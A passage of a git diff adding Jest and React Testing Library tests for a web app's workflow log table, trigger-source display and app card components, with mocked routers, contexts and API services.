+      expect(screen.getByText('appLog.table.header.runtime')).toBeInTheDocument()
+      expect(screen.getByText('appLog.table.header.tokens')).toBeInTheDocument()
+      expect(screen.getByText('appLog.table.header.user')).toBeInTheDocument()
+    })
+
+    it('should render trigger column for workflow apps', () => {
+      const logs = createMockLogsResponse([createMockWorkflowLog()])
+      const workflowApp = createMockApp({ mode: 'workflow' as AppModeEnum })
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={workflowApp} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(screen.getByText('appLog.table.header.triggered_from')).toBeInTheDocument()
+    })
+
+    it('should not render trigger column for non-workflow apps', () => {
+      const logs = createMockLogsResponse([createMockWorkflowLog()])
+      const chatApp = createMockApp({ mode: 'advanced-chat' as AppModeEnum })
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={chatApp} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(screen.queryByText('appLog.table.header.triggered_from')).not.toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Status Display Tests
+  // --------------------------------------------------------------------------
+  describe('Status Display', () => {
+    it('should render success status correctly', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          workflow_run: createMockWorkflowRun({ status: 'succeeded' }),
+        }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(screen.getByText('Success')).toBeInTheDocument()
+    })
+
+    it('should render failure status correctly', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          workflow_run: createMockWorkflowRun({ status: 'failed' }),
+        }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(screen.getByText('Failure')).toBeInTheDocument()
+    })
+
+    it('should render stopped status correctly', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          workflow_run: createMockWorkflowRun({ status: 'stopped' }),
+        }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(screen.getByText('Stop')).toBeInTheDocument()
+    })
+
+    it('should render running status correctly', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          workflow_run: createMockWorkflowRun({ status: 'running' }),
+        }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(screen.getByText('Running')).toBeInTheDocument()
+    })
+
+    it('should render partial-succeeded status correctly', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          workflow_run: createMockWorkflowRun({ status: 'partial-succeeded' as WorkflowRunDetail['status'] }),
+        }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(screen.getByText('Partial Success')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // User Info Display Tests
+  // --------------------------------------------------------------------------
+  describe('User Info Display', () => {
+    it('should display account name when created by account', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          created_by_account: { id: 'acc-1', name: 'John Doe', email: 'john@example.com' },
+          created_by_end_user: undefined,
+        }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(screen.getByText('John Doe')).toBeInTheDocument()
+    })
+
+    it('should display end user session id when created by end user', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          created_by_end_user: { id: 'user-1', type: 'browser', is_anonymous: false, session_id: 'session-abc-123' },
+          created_by_account: undefined,
+        }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(screen.getByText('session-abc-123')).toBeInTheDocument()
+    })
+
+    it('should display N/A when no user info', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          created_by_account: undefined,
+          created_by_end_user: undefined,
+        }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(screen.getByText('N/A')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Sorting Tests
+  // --------------------------------------------------------------------------
+  describe('Sorting', () => {
+    it('should sort logs in descending order by default', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({ id: 'log-1', created_at: 1000 }),
+        createMockWorkflowLog({ id: 'log-2', created_at: 2000 }),
+        createMockWorkflowLog({ id: 'log-3', created_at: 3000 }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      const rows = screen.getAllByRole('row')
+      // First row is header, data rows start from index 1
+      // In descending order, newest (3000) should be first
+      expect(rows.length).toBe(4) // 1 header + 3 data rows
+    })
+
+    it('should toggle sort order when clicking on start time header', async () => {
+      const user = userEvent.setup()
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({ id: 'log-1', created_at: 1000 }),
+        createMockWorkflowLog({ id: 'log-2', created_at: 2000 }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      // Click on the start time header to toggle sort
+      const startTimeHeader = screen.getByText('appLog.table.header.startTime')
+      await user.click(startTimeHeader)
+
+      // Arrow should rotate (indicated by class change)
+      // The sort icon should have rotate-180 class for ascending
+      const sortIcon = startTimeHeader.closest('div')?.querySelector('svg')
+      expect(sortIcon).toBeInTheDocument()
+    })
+
+    it('should render sort arrow icon', () => {
+      const logs = createMockLogsResponse([createMockWorkflowLog()])
+
+      const { container } = render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      // Check for ArrowDownIcon presence
+      const sortArrow = container.querySelector('svg.ml-0\\.5')
+      expect(sortArrow).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Drawer Tests
+  // --------------------------------------------------------------------------
+  describe('Drawer', () => {
+    it('should open drawer when clicking on a log row', async () => {
+      const user = userEvent.setup()
+      useAppStore.setState({ appDetail: createMockApp({ id: 'app-123' }) })
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          id: 'log-1',
+          workflow_run: createMockWorkflowRun({ id: 'run-456' }),
+        }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      const dataRows = screen.getAllByRole('row')
+      await user.click(dataRows[1]) // Click first data row
+
+      const dialog = await screen.findByRole('dialog')
+      expect(dialog).toBeInTheDocument()
+      expect(screen.getByText('appLog.runDetail.workflowTitle')).toBeInTheDocument()
+    })
+
+    it('should close drawer and call onRefresh when closing', async () => {
+      const user = userEvent.setup()
+      const onRefresh = jest.fn()
+      useAppStore.setState({ appDetail: createMockApp() })
+      const logs = createMockLogsResponse([createMockWorkflowLog()])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={onRefresh} />,
+      )
+
+      // Open drawer
+      const dataRows = screen.getAllByRole('row')
+      await user.click(dataRows[1])
+      await screen.findByRole('dialog')
+
+      // Close drawer using Escape key
+      await user.keyboard('{Escape}')
+
+      await waitFor(() => {
+        expect(onRefresh).toHaveBeenCalled()
+        expect(screen.queryByRole('dialog')).not.toBeInTheDocument()
+      })
+    })
+
+    it('should highlight selected row', async () => {
+      const user = userEvent.setup()
+      const logs = createMockLogsResponse([createMockWorkflowLog()])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      const dataRows = screen.getAllByRole('row')
+      const dataRow = dataRows[1]
+
+      // Before click - no highlight
+      expect(dataRow).not.toHaveClass('bg-background-default-hover')
+
+      // After click - has highlight (via currentLog state)
+      await user.click(dataRow)
+
+      // The row should have the selected class
+      expect(dataRow).toHaveClass('bg-background-default-hover')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Replay Functionality Tests
+  // --------------------------------------------------------------------------
+  describe('Replay Functionality', () => {
+    it('should allow replay when triggered from app-run', async () => {
+      const user = userEvent.setup()
+      useAppStore.setState({ appDetail: createMockApp({ id: 'app-replay' }) })
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          workflow_run: createMockWorkflowRun({
+            id: 'run-to-replay',
+            triggered_from: WorkflowRunTriggeredFrom.APP_RUN,
+          }),
+        }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      // Open drawer
+      const dataRows = screen.getAllByRole('row')
+      await user.click(dataRows[1])
+      await screen.findByRole('dialog')
+
+      // Replay button should be present for app-run triggers
+      const replayButton = screen.getByRole('button', { name: 'appLog.runDetail.testWithParams' })
+      await user.click(replayButton)
+
+      expect(mockRouterPush).toHaveBeenCalledWith('/app/app-replay/workflow?replayRunId=run-to-replay')
+    })
+
+    it('should allow replay when triggered from debugging', async () => {
+      const user = userEvent.setup()
+      useAppStore.setState({ appDetail: createMockApp({ id: 'app-debug' }) })
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          workflow_run: createMockWorkflowRun({
+            id: 'debug-run',
+            triggered_from: WorkflowRunTriggeredFrom.DEBUGGING,
+          }),
+        }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      // Open drawer
+      const dataRows = screen.getAllByRole('row')
+      await user.click(dataRows[1])
+      await screen.findByRole('dialog')
+
+      // Replay button should be present for debugging triggers
+      const replayButton = screen.getByRole('button', { name: 'appLog.runDetail.testWithParams' })
+      expect(replayButton).toBeInTheDocument()
+    })
+
+    it('should not show replay for webhook triggers', async () => {
+      const user = userEvent.setup()
+      useAppStore.setState({ appDetail: createMockApp({ id: 'app-webhook' }) })
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          workflow_run: createMockWorkflowRun({
+            id: 'webhook-run',
+            triggered_from: WorkflowRunTriggeredFrom.WEBHOOK,
+          }),
+        }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      // Open drawer
+      const dataRows = screen.getAllByRole('row')
+      await user.click(dataRows[1])
+      await screen.findByRole('dialog')
+
+      // Replay button should not be present for webhook triggers
+      expect(screen.queryByRole('button', { name: 'appLog.runDetail.testWithParams' })).not.toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Unread Indicator Tests
+  // --------------------------------------------------------------------------
+  describe('Unread Indicator', () => {
+    it('should show unread indicator for unread logs', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          read_at: undefined,
+        }),
+      ])
+
+      const { container } = render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      // Unread indicator is a small blue dot
+      const unreadDot = container.querySelector('.bg-util-colors-blue-blue-500')
+      expect(unreadDot).toBeInTheDocument()
+    })
+
+    it('should not show unread indicator for read logs', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          read_at: Date.now(),
+        }),
+      ])
+
+      const { container } = render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      // No unread indicator
+      const unreadDot = container.querySelector('.bg-util-colors-blue-blue-500')
+      expect(unreadDot).not.toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Runtime Display Tests
+  // --------------------------------------------------------------------------
+  describe('Runtime Display', () => {
+    it('should display elapsed time with 3 decimal places', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          workflow_run: createMockWorkflowRun({ elapsed_time: 1.23456 }),
+        }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(screen.getByText('1.235s')).toBeInTheDocument()
+    })
+
+    it('should display 0 elapsed time with special styling', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          workflow_run: createMockWorkflowRun({ elapsed_time: 0 }),
+        }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      const zeroTime = screen.getByText('0.000s')
+      expect(zeroTime).toBeInTheDocument()
+      expect(zeroTime).toHaveClass('text-text-quaternary')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Token Display Tests
+  // --------------------------------------------------------------------------
+  describe('Token Display', () => {
+    it('should display total tokens', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          workflow_run: createMockWorkflowRun({ total_tokens: 12345 }),
+        }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(screen.getByText('12345')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Empty State Tests
+  // --------------------------------------------------------------------------
+  describe('Empty State', () => {
+    it('should render empty table when logs data is empty', () => {
+      const logs = createMockLogsResponse([])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      const table = screen.getByRole('table')
+      expect(table).toBeInTheDocument()
+
+      // Should only have header row
+      const rows = screen.getAllByRole('row')
+      expect(rows).toHaveLength(1)
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Edge Cases (REQUIRED)
+  // --------------------------------------------------------------------------
+  describe('Edge Cases', () => {
+    it('should handle multiple logs correctly', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({ id: 'log-1', created_at: 1000 }),
+        createMockWorkflowLog({ id: 'log-2', created_at: 2000 }),
+        createMockWorkflowLog({ id: 'log-3', created_at: 3000 }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      const rows = screen.getAllByRole('row')
+      expect(rows).toHaveLength(4) // 1 header + 3 data rows
+    })
+
+    it('should handle logs with missing workflow_run data gracefully', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          workflow_run: createMockWorkflowRun({
+            elapsed_time: 0,
+            total_tokens: 0,
+          }),
+        }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(screen.getByText('0.000s')).toBeInTheDocument()
+      expect(screen.getByText('0')).toBeInTheDocument()
+    })
+
+    it('should handle null workflow_run.triggered_from for non-workflow apps', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          workflow_run: createMockWorkflowRun({
+            triggered_from: undefined as any,
+          }),
+        }),
+      ])
+      const chatApp = createMockApp({ mode: 'advanced-chat' as AppModeEnum })
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={chatApp} onRefresh={defaultOnRefresh} />,
+      )
+
+      // Should render without trigger column
+      expect(screen.queryByText('appLog.table.header.triggered_from')).not.toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/app/workflow-log/list.tsx b/web/app/components/app/workflow-log/list.tsx
index 0e9b5dd67f..cef8a98f44 100644
--- a/web/app/components/app/workflow-log/list.tsx
+++ b/web/app/components/app/workflow-log/list.tsx
@@ -12,7 +12,7 @@ import Drawer from '@/app/components/base/drawer'
 import Indicator from '@/app/components/header/indicator'
 import useBreakpoints, { MediaType } from '@/hooks/use-breakpoints'
 import useTimestamp from '@/hooks/use-timestamp'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { WorkflowRunTriggeredFrom } from '@/models/log'
 
 type ILogs = {
diff --git a/web/app/components/app/workflow-log/trigger-by-display.spec.tsx b/web/app/components/app/workflow-log/trigger-by-display.spec.tsx
new file mode 100644
index 0000000000..6e95fc2f35
--- /dev/null
+++ b/web/app/components/app/workflow-log/trigger-by-display.spec.tsx
@@ -0,0 +1,371 @@
+/**
+ * TriggerByDisplay Component Tests
+ *
+ * Tests the display of workflow trigger sources with appropriate icons and labels.
+ * Covers all trigger types: app-run, debugging, webhook, schedule, plugin, rag-pipeline.
+ */
+
+import { render, screen } from '@testing-library/react'
+import TriggerByDisplay from './trigger-by-display'
+import { WorkflowRunTriggeredFrom } from '@/models/log'
+import type { TriggerMetadata } from '@/models/log'
+import { Theme } from '@/types/app'
+
+// ============================================================================
+// Mocks
+// ============================================================================
+
+let mockTheme = Theme.light
+jest.mock('@/hooks/use-theme', () => ({
+  __esModule: true,
+  default: () => ({ theme: mockTheme }),
+}))
+
+// Mock BlockIcon as it has complex dependencies
+jest.mock('@/app/components/workflow/block-icon', () => ({
+  __esModule: true,
+  default: ({ type, toolIcon }: { type: string; toolIcon?: string }) => (
+    <div data-testid="block-icon" data-type={type} data-tool-icon={toolIcon || ''}>
+      BlockIcon
+    </div>
+  ),
+}))
+
+// ============================================================================
+// Test Data Factories
+// ============================================================================
+
+const createTriggerMetadata = (overrides: Partial<TriggerMetadata> = {}): TriggerMetadata => ({
+  ...overrides,
+})
+
+// ============================================================================
+// Tests
+// ============================================================================
+
+describe('TriggerByDisplay', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockTheme = Theme.light
+  })
+
+  // --------------------------------------------------------------------------
+  // Rendering Tests (REQUIRED)
+  // --------------------------------------------------------------------------
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.APP_RUN} />)
+
+      expect(screen.getByText('appLog.triggerBy.appRun')).toBeInTheDocument()
+    })
+
+    it('should render icon container', () => {
+      const { container } = render(
+        <TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.APP_RUN} />,
+      )
+
+      // Should have icon container with flex layout
+      const iconContainer = container.querySelector('.flex.items-center.justify-center')
+      expect(iconContainer).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Props Tests (REQUIRED)
+  // --------------------------------------------------------------------------
+  describe('Props', () => {
+    it('should apply custom className', () => {
+      const { container } = render(
+        <TriggerByDisplay
+          triggeredFrom={WorkflowRunTriggeredFrom.APP_RUN}
+          className="custom-class"
+        />,
+      )
+
+      const wrapper = container.firstChild as HTMLElement
+      expect(wrapper).toHaveClass('custom-class')
+    })
+
+    it('should show text by default (showText defaults to true)', () => {
+      render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.APP_RUN} />)
+
+      expect(screen.getByText('appLog.triggerBy.appRun')).toBeInTheDocument()
+    })
+
+    it('should hide text when showText is false', () => {
+      render(
+        <TriggerByDisplay
+          triggeredFrom={WorkflowRunTriggeredFrom.APP_RUN}
+          showText={false}
+        />,
+      )
+
+      expect(screen.queryByText('appLog.triggerBy.appRun')).not.toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Trigger Type Display Tests
+  // --------------------------------------------------------------------------
+  describe('Trigger Types', () => {
+    it('should display app-run trigger correctly', () => {
+      render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.APP_RUN} />)
+
+      expect(screen.getByText('appLog.triggerBy.appRun')).toBeInTheDocument()
+    })
+
+    it('should display debugging trigger correctly', () => {
+      render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.DEBUGGING} />)
+
+      expect(screen.getByText('appLog.triggerBy.debugging')).toBeInTheDocument()
+    })
+
+    it('should display webhook trigger correctly', () => {
+      render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.WEBHOOK} />)
+
+      expect(screen.getByText('appLog.triggerBy.webhook')).toBeInTheDocument()
+    })
+
+    it('should display schedule trigger correctly', () => {
+      render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.SCHEDULE} />)
+
+      expect(screen.getByText('appLog.triggerBy.schedule')).toBeInTheDocument()
+    })
+
+    it('should display plugin trigger correctly', () => {
+      render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.PLUGIN} />)
+
+      expect(screen.getByText('appLog.triggerBy.plugin')).toBeInTheDocument()
+    })
+
+    it('should display rag-pipeline-run trigger correctly', () => {
+      render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.RAG_PIPELINE_RUN} />)
+
+      expect(screen.getByText('appLog.triggerBy.ragPipelineRun')).toBeInTheDocument()
+    })
+
+    it('should display rag-pipeline-debugging trigger correctly', () => {
+      render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.RAG_PIPELINE_DEBUGGING} />)
+
+      expect(screen.getByText('appLog.triggerBy.ragPipelineDebugging')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Plugin Metadata Tests
+  // --------------------------------------------------------------------------
+  describe('Plugin Metadata', () => {
+    it('should display custom event name from plugin metadata', () => {
+      const metadata = createTriggerMetadata({ event_name: 'Custom Plugin Event' })
+
+      render(
+        <TriggerByDisplay
+          triggeredFrom={WorkflowRunTriggeredFrom.PLUGIN}
+          triggerMetadata={metadata}
+        />,
+      )
+
+      expect(screen.getByText('Custom Plugin Event')).toBeInTheDocument()
+    })
+
+    it('should fallback to default plugin text when no event_name', () => {
+      const metadata = createTriggerMetadata({})
+
+      render(
+        <TriggerByDisplay
+          triggeredFrom={WorkflowRunTriggeredFrom.PLUGIN}
+          triggerMetadata={metadata}
+        />,
+      )
+
+      expect(screen.getByText('appLog.triggerBy.plugin')).toBeInTheDocument()
+    })
+
+    it('should use plugin icon from metadata in light theme', () => {
+      mockTheme = Theme.light
+      const metadata = createTriggerMetadata({ icon: 'light-icon.png', icon_dark: 'dark-icon.png' })
+
+      render(
+        <TriggerByDisplay
+          triggeredFrom={WorkflowRunTriggeredFrom.PLUGIN}
+          triggerMetadata={metadata}
+        />,
+      )
+
+      const blockIcon = screen.getByTestId('block-icon')
+      expect(blockIcon).toHaveAttribute('data-tool-icon', 'light-icon.png')
+    })
+
+    it('should use dark plugin icon in dark theme', () => {
+      mockTheme = Theme.dark
+      const metadata = createTriggerMetadata({ icon: 'light-icon.png', icon_dark: 'dark-icon.png' })
+
+      render(
+        <TriggerByDisplay
+          triggeredFrom={WorkflowRunTriggeredFrom.PLUGIN}
+          triggerMetadata={metadata}
+        />,
+      )
+
+      const blockIcon = screen.getByTestId('block-icon')
+      expect(blockIcon).toHaveAttribute('data-tool-icon', 'dark-icon.png')
+    })
+
+    it('should fallback to light icon when dark icon not available in dark theme', () => {
+      mockTheme = Theme.dark
+      const metadata = createTriggerMetadata({ icon: 'light-icon.png' })
+
+      render(
+        <TriggerByDisplay
+          triggeredFrom={WorkflowRunTriggeredFrom.PLUGIN}
+          triggerMetadata={metadata}
+        />,
+      )
+
+      const blockIcon = screen.getByTestId('block-icon')
+      expect(blockIcon).toHaveAttribute('data-tool-icon', 'light-icon.png')
+    })
+
+    it('should use default BlockIcon when plugin has no icon metadata', () => {
+      const metadata = createTriggerMetadata({})
+
+      render(
+        <TriggerByDisplay
+          triggeredFrom={WorkflowRunTriggeredFrom.PLUGIN}
+          triggerMetadata={metadata}
+        />,
+      )
+
+      const blockIcon = screen.getByTestId('block-icon')
+      expect(blockIcon).toHaveAttribute('data-tool-icon', '')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Icon Rendering Tests
+  // --------------------------------------------------------------------------
+  describe('Icon Rendering', () => {
+    it('should render WindowCursor icon for app-run trigger', () => {
+      const { container } = render(
+        <TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.APP_RUN} />,
+      )
+
+      // Check for the blue brand background used for app-run icon
+      const iconWrapper = container.querySelector('.bg-util-colors-blue-brand-blue-brand-500')
+      expect(iconWrapper).toBeInTheDocument()
+    })
+
+    it('should render Code icon for debugging trigger', () => {
+      const { container } = render(
+        <TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.DEBUGGING} />,
+      )
+
+      // Check for the blue background used for debugging icon
+      const iconWrapper = container.querySelector('.bg-util-colors-blue-blue-500')
+      expect(iconWrapper).toBeInTheDocument()
+    })
+
+    it('should render WebhookLine icon for webhook trigger', () => {
+      const { container } = render(
+        <TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.WEBHOOK} />,
+      )
+
+      // Check for the blue background used for webhook icon
+      const iconWrapper = container.querySelector('.bg-util-colors-blue-blue-500')
+      expect(iconWrapper).toBeInTheDocument()
+    })
+
+    it('should render Schedule icon for schedule trigger', () => {
+      const { container } = render(
+        <TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.SCHEDULE} />,
+      )
+
+      // Check for the violet background used for schedule icon
+      const iconWrapper = container.querySelector('.bg-util-colors-violet-violet-500')
+      expect(iconWrapper).toBeInTheDocument()
+    })
+
+    it('should render KnowledgeRetrieval icon for rag-pipeline triggers', () => {
+      const { container } = render(
+        <TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.RAG_PIPELINE_RUN} />,
+      )
+
+      // Check for the green background used for rag pipeline icon
+      const iconWrapper = container.querySelector('.bg-util-colors-green-green-500')
+      expect(iconWrapper).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Edge Cases (REQUIRED)
+  // --------------------------------------------------------------------------
+  describe('Edge Cases', () => {
+    it('should handle unknown trigger type gracefully', () => {
+      // Test with a type cast to simulate unknown trigger type
+      render(<TriggerByDisplay triggeredFrom={'unknown-type' as WorkflowRunTriggeredFrom} />)
+
+      // Should fallback to default (app-run) icon styling
+      expect(screen.getByText('unknown-type')).toBeInTheDocument()
+    })
+
+    it('should handle undefined triggerMetadata', () => {
+      render(
+        <TriggerByDisplay
+          triggeredFrom={WorkflowRunTriggeredFrom.PLUGIN}
+          triggerMetadata={undefined}
+        />,
+      )
+
+      expect(screen.getByText('appLog.triggerBy.plugin')).toBeInTheDocument()
+    })
+
+    it('should handle empty className', () => {
+      const { container } = render(
+        <TriggerByDisplay
+          triggeredFrom={WorkflowRunTriggeredFrom.APP_RUN}
+          className=""
+        />,
+      )
+
+      const wrapper = container.firstChild as HTMLElement
+      expect(wrapper).toHaveClass('flex', 'items-center', 'gap-1.5')
+    })
+
+    it('should render correctly when both showText is false and metadata is provided', () => {
+      const metadata = createTriggerMetadata({ event_name: 'Test Event' })
+
+      render(
+        <TriggerByDisplay
+          triggeredFrom={WorkflowRunTriggeredFrom.PLUGIN}
+          triggerMetadata={metadata}
+          showText={false}
+        />,
+      )
+
+      // Text should not be visible even with metadata
+      expect(screen.queryByText('Test Event')).not.toBeInTheDocument()
+      expect(screen.queryByText('appLog.triggerBy.plugin')).not.toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Theme Switching Tests
+  // --------------------------------------------------------------------------
+  describe('Theme Switching', () => {
+    it('should render correctly in light theme', () => {
+      mockTheme = Theme.light
+
+      render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.APP_RUN} />)
+
+      expect(screen.getByText('appLog.triggerBy.appRun')).toBeInTheDocument()
+    })
+
+    it('should render correctly in dark theme', () => {
+      mockTheme = Theme.dark
+
+      render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.APP_RUN} />)
+
+      expect(screen.getByText('appLog.triggerBy.appRun')).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/apps/app-card.spec.tsx b/web/app/components/apps/app-card.spec.tsx
new file mode 100644
index 0000000000..f7ff525ed2
--- /dev/null
+++ b/web/app/components/apps/app-card.spec.tsx
@@ -0,0 +1,1387 @@
+import React from 'react'
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { AppModeEnum } from '@/types/app'
+import { AccessMode } from '@/models/access-control'
+
+// Mock next/navigation
+const mockPush = jest.fn()
+jest.mock('next/navigation', () => ({
+  useRouter: () => ({
+    push: mockPush,
+  }),
+}))
+
+// Mock use-context-selector with stable mockNotify reference for tracking calls
+// Include createContext for components that use it (like Toast)
+const mockNotify = jest.fn()
+jest.mock('use-context-selector', () => {
+  const React = require('react')
+  return {
+    createContext: (defaultValue: any) => React.createContext(defaultValue),
+    useContext: () => ({
+      notify: mockNotify,
+    }),
+    useContextSelector: (_context: any, selector: any) => selector({
+      notify: mockNotify,
+    }),
+  }
+})
+
+// Mock app context
+jest.mock('@/context/app-context', () => ({
+  useAppContext: () => ({
+    isCurrentWorkspaceEditor: true,
+  }),
+}))
+
+// Mock provider context
+const mockOnPlanInfoChanged = jest.fn()
+jest.mock('@/context/provider-context', () => ({
+  useProviderContext: () => ({
+    onPlanInfoChanged: mockOnPlanInfoChanged,
+  }),
+}))
+
+// Mock global public store - allow dynamic configuration
+let mockWebappAuthEnabled = false
+jest.mock('@/context/global-public-context', () => ({
+  useGlobalPublicStore: (selector: (s: any) => any) => selector({
+    systemFeatures: {
+      webapp_auth: { enabled: mockWebappAuthEnabled },
+      branding: { enabled: false },
+    },
+  }),
+}))
+
+// Mock API services - import for direct manipulation
+import * as appsService from '@/service/apps'
+import * as workflowService from '@/service/workflow'
+
+jest.mock('@/service/apps', () => ({
+  deleteApp: jest.fn(() => Promise.resolve()),
+  updateAppInfo: jest.fn(() => Promise.resolve()),
+  copyApp: jest.fn(() => Promise.resolve({ id: 'new-app-id' })),
+  exportAppConfig: jest.fn(() => Promise.resolve({ data: 'yaml: content' })),
+}))
+
+jest.mock('@/service/workflow', () => ({
